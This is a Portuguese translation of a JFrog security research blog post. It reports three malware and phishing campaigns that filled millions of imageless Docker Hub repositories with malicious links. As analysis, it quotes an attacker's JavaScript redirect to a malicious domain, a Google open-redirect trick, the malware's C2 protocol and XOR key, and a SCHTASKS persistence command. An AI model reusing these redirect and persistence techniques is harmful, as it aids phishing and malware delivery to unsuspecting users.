JFrog e Docker colaboram na mitigação e limpeza após as últimas descobertas de repositórios Docker Hub usados para espalhar malware e golpes de phishing
Como partes-chave do ecossistema de software e como parceiros, JFrog e Docker estão trabalhando juntos para fortalecer o ecossistema de software. Parte desse esforço da equipe de pesquisa de segurança da JFrog envolve o monitoramento contínuo de registros de software de código aberto, a fim de identificar e abordar proativamente possíveis malwares e ameaças de vulnerabilidade.
Em publicações anteriores, discutimos alguns dos pacotes de malware que encontramos nos registros NPM , PyPI e NuGet , verificando continuamente todos os principais repositórios públicos. Nesta postagem do blog, revelamos três campanhas de malware em grande escala que descobrimos recentemente, visando o Docker Hub, que plantou milhões de repositórios “sem imagem” com metadados maliciosos . Esses são repositórios que não contêm imagens de contêiner (e, como tal, não podem ser executados em um mecanismo Docker ou cluster Kubernetes), mas contêm metadados maliciosos.
Docker Hub é uma plataforma que oferece diversas funcionalidades aos desenvolvedores, apresentando inúmeras oportunidades de desenvolvimento, colaboração e distribuição de imagens Docker. Atualmente, é a plataforma de contêiner número um preferida por desenvolvedores em todo o mundo. Ele hospeda mais de 15 milhões de repositórios.
No entanto, surge uma preocupação significativa quando se considera o conteúdo destes repositórios públicos. Nossa pesquisa revela que quase 20% desses repositórios públicos (quase três milhões de repositórios!) na verdade hospedavam conteúdo malicioso . O conteúdo variava desde simples spam que promove conteúdo pirata, até entidades extremamente maliciosas, como malware e sites de phishing, carregados por contas geradas automaticamente.
Embora os mantenedores do Docker Hub atualmente moderem muitos dos repositórios carregados, e os repositórios que encontramos tenham sido removidos após nossa divulgação, esses ataques mostram que bloquear 100% dos uploads maliciosos é imensamente desafiador.
O que permitiu esse ataque?
Docker Hub é o serviço de registro baseado em nuvem do Docker que hospeda e distribui imagens. Seu conceito central é um repositório, que inclui descrições de texto e metadados sobre os dados do contêiner.
Biblioteca de repositório do Docker Hub (clique para expandir)
Embora o principal recurso de um repositório Docker seja manter uma coleção de imagens Docker (um aplicativo que pode ser atualizado e acessível por meio de um nome fixo), o Docker Hub apresenta vários aprimoramentos importantes. O mais significativo deles são os recursos da comunidade.
Para repositórios públicos, o Docker Hub atua como uma plataforma comunitária. Permite aos usuários pesquisar e descobrir imagens que possam ser úteis para seus projetos. Os usuários também podem avaliar e comentar os repositórios, ajudando outros a avaliar a confiabilidade e a utilidade das imagens disponíveis.
Para ajudar os usuários a pesquisar e usar imagens, o Docker Hub permite que os mantenedores do repositório adicionem pequenas descrições e documentação em formato HTML , que serão exibidas na página principal do repositório. Normalmente, a documentação do repositório visa explicar a finalidade da imagem e fornecer diretrizes para seu uso.
Exemplo de documentação de um repositório legítimo
Mas, como diz a lei de Murphy para segurança, se algo puder ser explorado por desenvolvedores de malware, inevitavelmente o será.
A equipe de pesquisa de segurança do JFrog descobriu que cerca de 4,6 milhões de repositórios no Docker Hub não têm imagens e não possuem conteúdo, exceto a documentação do repositório. Uma inspeção mais profunda revelou que a grande maioria desses repositórios sem imagem foi carregada com um fim de jogo malicioso – sua página de visão geral tenta enganar os usuários para que visitem sites de phishing ou sites que hospedam malware perigoso.
Antes de discutir as diversas cargas maliciosas, explicaremos nossa metodologia para encontrar esses repositórios maliciosos.
Identificando os repositórios maliciosos
Iniciamos nossa pesquisa identificando anomalias nos padrões de publicação dos repositórios Docker Hub. Para conseguir isso, extraímos todos os repositórios Docker Hub “sem imagem” publicados nos últimos cinco anos, agrupamos-os por data de criação e os plotamos em um gráfico:
Gráfico de repositórios criados mensalmente
Como podemos ver, a atividade normal no Docker Hub é bastante linear, mas podemos ver alguns picos em 2021 e 2023. Se ampliarmos, vemos que a atividade diária está bem definida e segue um padrão de semana de trabalho. Mesmo visualmente, podemos notar um padrão de semana de trabalho: mais repositórios são criados nos dias úteis e menos nos finais de semana.
Ampliando a anomalia de 2023
O gráfico mostra que quando a atividade incomum começa, o número de repositórios criados diariamente se multiplica por dez .
Analisamos minuciosamente os repositórios criados em dias com anomalias e encontramos muitos repositórios desviados da norma. O principal desvio é que eles não continham imagens de contêiner, apenas uma página de documentação, tornando o repositório inutilizável, pois não pode ser extraído e executado como uma imagem docker normal.
Exemplo de um repositório malicioso
Por exemplo, o repositório mostrado na captura de tela acima contém alguns links na descrição que direcionam os usuários para um site de phishing: https[://]www[.******medz*****.]com. Este site engana visitantes desavisados, prometendo comprar medicamentos sujeitos a receita médica, mas depois roubando os dados do cartão de crédito.
Embora todos os repositórios anômalos fossem um pouco diferentes uns dos outros e fossem publicados por vários usuários, a maioria seguiu os mesmos padrões. Isso nos permitiu criar uma assinatura e agrupá-las por famílias (ou campanhas). Depois de aplicarmos essa assinatura a todos os repositórios sem imagem, reunimos uma lista dos usuários do hub que os publicam. Classificamos todos os repositórios publicados por esses usuários como malware também.
Depois de plotarmos as campanhas na linha do tempo, conseguimos entender os períodos em que operaram as maiores campanhas de malware.
Dois deles foram mais ativos no primeiro semestre de 2021, publicando milhares de repositórios diariamente. A campanha de downloader fez mais uma tentativa em agosto de 2023. A campanha “Website SEO” funcionou de forma diferente, empurrando consistentemente um pequeno número de repositórios diariamente durante três anos.
Repositórios de malware registrados por dia por campanha
O número total de repositórios sem imagens publicados no Docker Hub é 4,6 milhões – 30% de todos os repositórios públicos. Conseguimos vincular 2,81 milhões (~19%) desses repositórios a essas grandes campanhas maliciosas .
Além das grandes campanhas que identificamos, a nossa análise também revelou a presença de conjuntos menores de repositórios. Essas campanhas pareciam focadas principalmente em spam/SEO, porém não conseguimos classificar todas as variantes dessas campanhas. Estas “campanhas” mais pequenas continham menos de 1000 pacotes cada. Para nossa categorização, alocamos esses conjuntos menores em um grupo denominado “Outros suspeitos” –
Classificação de repositórios DockerHub
Distribuição de repositórios maliciosos por campanhas:
Campanha
Nº de repositórios (% de todos os repositórios DH)
Nº de usuários
SEO do site
215451 (1,4%)
194699
Baixador
1453228 (9,7%)
9309
Phishing de e-book
1.069.160 (7,1%)
1042
Outros suspeitos sem imagem
76025 (0,5%)
3689
Total
2,81 milhões (18,7%)
208739
Podemos ver diferentes abordagens na distribuição dos repositórios maliciosos. Enquanto as campanhas “Downloader” e “eBook Phishing” criam repositórios falsos em lotes durante um curto período de tempo, a campanha “Website SEO” cria alguns repositórios diariamente durante todo o período e usa um único usuário por repositório.
Agora que sabemos quais principais campanhas de malware estavam em execução no Docker Hub, vamos revisar suas táticas e técnicas em profundidade.
Distribuição dos Repositórios da Campanha Downloader
Os repositórios pertencentes a esta campanha contêm textos gerados automaticamente com texto SEO propondo o download de conteúdo pirata ou cheats para videogames. Além disso, o texto inclui um link para o suposto software anunciado.
Esta campanha operou em duas rodadas distintas (por volta de 2021 e 2023), enquanto ambas as rodadas usaram exatamente a mesma carga maliciosa (veja a análise mais abaixo).
Exemplo de repositório malicioso com link para download de malware
A rodada de 2021 – Domínios maliciosos que fingem ser encurtadores de URL
A maioria dos URLs usados na campanha finge usar encurtadores de URL conhecidos (por exemplo, tinyurl.com), semelhante a uma campanha de ataque ao Google Ads encontrada em 2021 também. Depois de tentarmos resolvê-los, descobrimos que, diferentemente dos encurtadores reais, esses encurtadores maliciosos não codificam realmente a URL. Em vez disso, eles codificam um nome de arquivo e resolvem um link para um domínio diferente sempre que um recurso malicioso é encerrado.
Por exemplo, durante nossa investigação, o URL blltly[.]com/1w1w1 redirecionou para https[://]failhostingpolp[.]ru/9ebeb1ba574fb8e786200c62159e77d15UtXt7/x60VKb8hl1YelOv1c5X1c0BuVzmFZ8-teb-LRH8w . No entanto, as solicitações subsequentes ao servidor acionavam a geração de um novo caminho de URL a cada vez.
Seu único propósito é servir como proxy para um CDN malicioso.
Cada solicitação subsequente para o mesmo link encurtado traz um URL diferente e, se o servidor que hospeda os arquivos maliciosos for desligado, o encurtador retornará um link para um novo e ativo.
Reunimos uma lista de todos os domínios maliciosos e compilamos uma tabela mostrando a correspondência entre os encurtadores fraudulentos e suas versões reais e confiáveis.
Encurtadores de URL falsos usados pela campanha de malware
Essa estratégia, desenvolvida em 2021, funcionou por algum tempo até que as empresas de AV encontraram uma lista de links e os adicionaram às suas listas negras. Atualmente, navegadores e provedores emitem alertas quando há tentativa de acesso a um dos links da tabela acima.
A rodada de 2023 – Técnicas aprimoradas de antidetecção
A segunda rodada da campanha, que ocorreu em 2023, teve como foco evitar a detecção. Os repositórios maliciosos não usam mais links diretos para fontes maliciosas. Em vez disso, apontam para recursos legítimos como redirecionamentos para fontes maliciosas.
Entre esses recursos está uma página hospedada em blogger.com que contém código JavaScript que redireciona para a carga maliciosa após 500 milissegundos:
<script type='text/javascript'>
var c = new URL(window.location).searchParams.get('el');
if(c!=null){
setTimeout('write()', 500);
setTimeout('Redirect()', 0);
}else{
window.setTimeout(function(){
document.getElementById('redir').href='https://gohhs.com/';
}, 500);
}
function write()
{
document.getElementById('redir').href='https://gohhs.com/'+c;
}
function Redirect()
{
window.location.replace('https://gohhs.com/'+c);
}
</script>
Outra abordagem é um bug de redirecionamento aberto bem conhecido no Google, que permite que atores mal-intencionados redirecionem usuários para um site malicioso com um link legítimo do Google usando parâmetros específicos.
Normalmente, o link do Google https://www[.]google[.]com/url?q=https%3A%2F%2Fexample.us%2F não redireciona um usuário para o site de destino. Em vez disso, mostra um aviso avisando que eles estão sendo redirecionados para outro domínio.
Exemplo de aviso de redirecionamento
No entanto, é possível adicionar o parâmetro não documentado usg para desativar este aviso. O parâmetro contém um hash ou assinatura que faz com que google.com redirecione automaticamente para o site de destino –
Esse redirecionamento leva ao site de destino. No momento em que este artigo foi escrito, os sites alvo eram gts794[.]com e failhostingpolp[.]ru. Esses sites atraem a vítima para baixar um software anunciado. No entanto, independentemente do nome na página inicial, o arquivo baixado é sempre o mesmo arquivo com um instalador EXE. Como podemos ver na análise do AnyRun , o malware instala um binário chamado freehtmlvalidator.exe no diretório “%LOCALAPPDATA%\HTML Free Validator”
Carga maliciosa veiculada na campanha de download
Análise da carga útil da campanha “Downloader”
A carga útil da campanha “Downloader” é um executável malicioso que a maioria dos mecanismos antivírus detecta como um Trojan genérico.
Detecção da carga útil servida por antivírus
O malware foi escrito com o sucessor do outrora popular ambiente Delphi: Embarcadero RAD Studio 27.0.
O malware se comunica com o servidor C2C http://soneservice[.]shop/new/net_api usando solicitações HTTP POST. A solicitação é uma mensagem JSON com XOR com a chave de três bytes “787” e codificada em hexadecimal.
O primeiro comando enviado pelo malware ao servidor é getinitializationdata . Ele contém dois parâmetros: o identificador exclusivo do malware (“tampa”) e o identificador de localidade do sistema. Este último informa ao servidor sobre a configuração de idioma do sistema infectado, permitindo respostas personalizadas. O malware usa esse identificador exclusivo para todas as solicitações subsequentes do servidor.
Em resposta, o servidor fornece detalhes de layout e localização específicos do Delphi, que são adaptados com base na configuração de idioma do sistema.
Posteriormente, o malware envia uma solicitação de inicialização passando informações sobre o sistema infectado. As informações incluem informações específicas do sistema operacional, hardware, navegador instalado, versão do .NET framework, processos em execução e adaptadores de rede disponíveis. O servidor, em troca, fornece um link para o suposto software prometido e uma lista de ofertas. A parte do software prometida é representada por URL e nome de arquivo:
A seção “ofertas” da resposta também contém uma lista de links para executáveis. Além disso, ele descreve várias condições que devem ser atendidas para descartar executáveis. As condições mais significativas são:
excludeGeoTargeting contém códigos de países onde o malware não deve ser instalado"excludeGeoTargeting": [ "RU", "AZ", "AM", "BY", ]
blackAvList contém uma lista de aplicativos antivírus que também impedirão a instalação do malware"blackAvList": [ "avast", "avg", "avira", "nod32", "mcafeeep", "windef", ]
Uma lista negra de processos (não observada na amostra de carga útil)
Uma lista de entradas de registro do Windows que devem estar presentes no sistema de destino (não foi observada no exemplo de carga útil)
Considerando que o malware já envia informações sobre o sistema para o servidor, achamos essas condições no cliente um pouco redundantes. Além disso, a resposta contém campos que nunca foram usados pelo binário do malware, mas são típicos de redes de publicidade, como price, offer_id e anunciante_id . A partir destes campos, podemos assumir que esta operação de malware faz parte de um ecossistema mais amplo, potencialmente envolvendo adware ou esquemas de monetização que se beneficiam da distribuição e instalação de software de terceiros. Com base neste entendimento, assumimos ainda que estes parâmetros de pedido são provavelmente copiados e incorporados no software a partir de uma API de rede de publicidade duvidosa, onde terceiros podem pagar pela distribuição dos seus executáveis.
Após processar a resposta, o malware mostra uma caixa de diálogo de instalação que propõe ao usuário baixar e instalar o software prometido no repositório Docker Hub malicioso –
Caixa de diálogo de instalação mostrada por malware
Após aceitar, além de instalar o software prometido, o malware apenas baixa todos os binários maliciosos da oferta e agenda sua execução persistente com o comando “SCHTASKS.exe /Create /TN <random_name> /RL HIGHEST /SC DAILY” .
2. Campanha “phishing de e-books”
Repositórios de malware registrados por dia pela campanha ebook_phishing
Quase um milhão de repositórios criados em meados de 2021 transformaram o Docker Hub em uma “biblioteca de e-books piratas”. Todos esses repositórios de spam ofereciam downloads gratuitos de e-books contendo descrições geradas aleatoriamente e URLs de download –
Exemplo de repositório de phishing de e-books
Todos os links eventualmente redirecionam o usuário para a mesma página: http://rd[.]lesac[.]ru/ .
Página inicial de download de e-book
Após prometer uma versão completa gratuita do e-book, o site escolhe uma página aleatória do conjunto disponível para o IP do usuário e o redireciona para lá. As etapas a seguir dependem do país do usuário, mas geralmente é um formulário solicitando que o usuário insira as informações do cartão de crédito.
Sem dúvida, a única intenção por trás desta ação é o phishing, com o objetivo de roubar dados de cartão de crédito e inscrever o usuário, sem saber, em um serviço de assinatura. O rodapé desses sites de destino geralmente tem um texto pouco legível, informando que a assinatura custa entre 40 e 60 euros por mês.
Alguns sites de phishing da campanha (clique para expandir)
3. Campanha “SEO de site”
Ao contrário das duas campanhas anteriores, que eram flagrantemente maliciosas (phishing/download de malware), o objetivo desta campanha não é tão claro. Embora os repositórios em si obviamente não tenham sido carregados de boa fé, o conteúdo é em grande parte inofensivo – apenas uma string de descrição aleatória com um nome de usuário gerado pelo padrão “axaaaaaxxx”, onde a é uma letra e x é um dígito. Todos os repositórios publicados por esses usuários possuem o mesmo nome: website.
É possível que a campanha tenha sido usada como uma espécie de teste de estresse antes de implementar campanhas verdadeiramente maliciosas.
Esta campanha também conta com uma rotina de cadastro diferenciada. Como podemos ver no gráfico, os atores por trás desta campanha criaram mil repositórios diariamente ao longo de três anos! Isso é diferente das campanhas anteriores, que focavam na geração de repositórios sem imagens em um tempo muito menor. Nesta campanha os invasores publicaram apenas um repositório por usuário criado, enquanto nas campanhas anteriores um único usuário foi utilizado para publicar milhares de repositórios.
Repositórios de malware registrados por dia pela campanha “Website SEO”
Nesta campanha, a descrição do repositório geralmente contém uma frase curta, aparentemente aleatória e sem sentido, sem qualquer outra informação. Alguns dos repositórios contêm links para sites de redes sociais, mas estes também parecem conter principalmente lixo, e não URLs ou arquivos maliciosos –
Exemplo de descrição de repositórios de campanha de SEO de site
Abaixo estão alguns nomes de usuários desta campanha, com as descrições relevantes na documentação do repositório –
Frases aleatórias dos repositórios da campanha de SEO do site
Quando pesquisamos esses nomes de usuário, descobrimos que esta campanha também tinha como alvo outras plataformas que possuem políticas de contribuição abertas –
Nomes de usuário de campanhas de SEO de sites usados em outras plataformas
Divulgação para Docker Inc.
Antes desta publicação, a equipe de pesquisa do JFrog divulgou todas as descobertas à equipe de segurança do Docker, incluindo 3,2 milhões de repositórios suspeitos de hospedar conteúdo malicioso ou indesejado. A equipe de segurança do Docker removeu rapidamente todos os repositórios maliciosos e indesejados do Docker Hub. Gostaríamos de agradecer à equipe de segurança do Docker por lidar com esta divulgação de forma rápida e profissional e estamos felizes em contribuir para o uso contínuo e seguro do ecossistema Docker.
Como os usuários do Docker Hub podem evitar ataques semelhantes?
Os usuários devem preferir usar imagens Docker marcadas no Docker Hub como “Conteúdo confiável” –
O Docker Hub designou tags para conteúdo confiável que os usuários podem procurar ao navegar na página de descrição de uma imagem. A primeira tag é a tag Docker Official Image , também conhecida como Docker Hub’s Library, um conjunto de repositórios Docker com curadoria. A Biblioteca consiste em repositórios mantidos por fundações, organizações e empresas de desenvolvimento de software confiáveis e conhecidas, como Python, Ubuntu e Node. A segunda tag é a tag Verified Publisher , que é atribuída a cada repositório que faz parte do Docker Verified Publisher Program. Este conjunto contém repositórios de editores comerciais, que foram verificados pelo Docker Hub. E por último, a tag Sponsored OSS , que é atribuída a repositórios de projetos de código aberto patrocinados pelo Docker Hub.
Ao navegar na página de um repositório, um emblema indicando que o repositório faz parte de um dos tipos mencionados apareceria ao lado do nome do repositório, no topo da página –
Seguir essas diretrizes diminuiria o risco de ser manipulado para seguir um link malicioso fora do Docker Hub a partir da página de descrição de um repositório. Por exemplo – nenhum dos repositórios maliciosos mencionados neste blog foi marcado como “Conteúdo confiável”.
Resumo
Ao contrário dos ataques típicos direcionados diretamente a desenvolvedores e organizações, os invasores neste caso tentaram aproveitar a credibilidade da plataforma Docker Hub, tornando mais difícil identificar as tentativas de phishing e instalação de malware.
Quase três milhões de repositórios maliciosos, alguns deles ativos há mais de três anos, destacam o contínuo uso indevido da plataforma Docker Hub pelos invasores e a necessidade de moderação constante em tais plataformas.
Mantenha-se atualizado com a pesquisa de segurança JFrog
As descobertas e pesquisas da equipe de pesquisa de segurança desempenham um papel importante na melhoria dos recursos de segurança de software aplicativo da JFrog Software Supply Chain Platform.
Acompanhe as últimas descobertas e atualizações técnicas da equipe de pesquisa da JFrog Security em no site de pesquisa dele (em ingles) e no X @JFrogSecurity.
Este site usa cookies para que possamos oferecer a melhor experiência de usuário possível. As informações dos cookies são armazenadas em seu navegador e executam funções como reconhecê-lo quando você retorna ao nosso site e ajudar nossa equipe a entender quais seções do site você considera mais interessantes e úteis.
Somente cookies necessários.
O cookie estritamente necessário deve estar sempre ativado para que possamos salvar suas preferências de configuração de cookies.
Se você desabilitar este cookie, não poderemos salvar suas preferências. Isso significa que toda vez que você visitar este site, precisará habilitar ou desabilitar os cookies novamente.